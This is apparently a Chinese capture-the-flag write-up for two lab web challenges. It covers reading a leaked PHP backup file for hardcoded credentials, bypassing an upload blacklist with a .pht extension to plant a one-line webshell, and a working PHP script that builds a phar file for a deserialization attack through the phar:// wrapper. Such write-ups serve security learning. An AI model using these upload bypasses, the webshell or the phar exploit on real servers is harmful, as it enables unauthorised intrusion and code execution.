2025磐石行动第八周WP
1、无权查看
题目如下:
有些小白的运维人员会在服务器上直接做文件备份,比如将一个.php文件备份成.php.bak文件。
那么直接访问index.php.bak文件的源码
view-source:http://192.168.0.10:10013/index.php.bak
得到源码如下:
<?php$user = isset($_GET['user']) ? $_GET['user'] : 'Guest';$password = isset($_GET['password']) ? $_GET['password'] : '';if($user == 'admin' && $password == 'showmetheflag'){require '/flag.txt';}else{echo 'forbidden!';}?>
那么就简单的访问得到flag
GET请求
http://192.168.0.10:10013/index.php?user=admin&password=showmetheflag
得到flag如下:
flag{ba19c1114c8b8ca8d2cadf141602f90f}
2、not only upload
题目如下:
上传 and ...
直接访问发现一个文件上传的页面
解法一:上传一句话木马文件
step1:区分是白名单还是黑名单 黑名单step2:绕过
尝试了php\phtml\.htaccess 发现都不行
尝试了php.\php空格\php%00 发现也不行
尝试一些变种 pht 发现可以
发现上传成功
./upload/2fd1df5042622d47978f297577d8910b/2.pht
使用一句话木马获取到flag
得到flag如下:
解法二:phar反序列化
首先dirsearch扫描目录发现如下:
[09:53:01] Starting:
[09:53:23] 200 - 0B - /flag.php
[09:53:25] 200 - 226B - /index.php
[09:53:25] 200 - 226B - /index.php/login/
[09:53:25] 200 - 239B - /index.php~
[09:53:43] 301 - 322B - /upload -> http://192.168.0.10:10015/upload/
[09:53:43] 200 - 2KB - /upload/
访问index.php~
得到源码如下:
<?phpclass ORZ {public function __destruct() {global $flag;echo $flag;}}if(isset($_GET['filename'])){$filename = $_GET['filename'];file_get_contents($filename);}?>
看到这个类和filename的文件包含,接着测试了一些上传phar是否可以,发现可以,那么就是phar反序列化啦,phar生成脚本执行的时候需要设置php.ini,第一次搞这个需要注意一下
[Phar]
; http://php.net/phar.readonly
phar.readonly = Off
直接上exp
<?php
class ORZ {public function __destruct() {global $flag;echo $flag;}
}
$user = new ORZ();// 生成 phar 文件的格式@unlink("phar.phar");$phar = new Phar("phar.phar"); //后缀名必须为 phar$phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置 stub$phar->setMetadata($user); //将自定义的 meta-data 存入 manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();?>
接着上传phar文件得到文件路径
最后执行包含就搞定
GET 请求
http://192.168.0.10:10015/?filename=phar:///var/www/html//upload/2fd1df5042622d47978f297577d8910b/1.phar
得到flag如下:
flag{6150c50c2d96ae92a8d2536e3c9ec91f}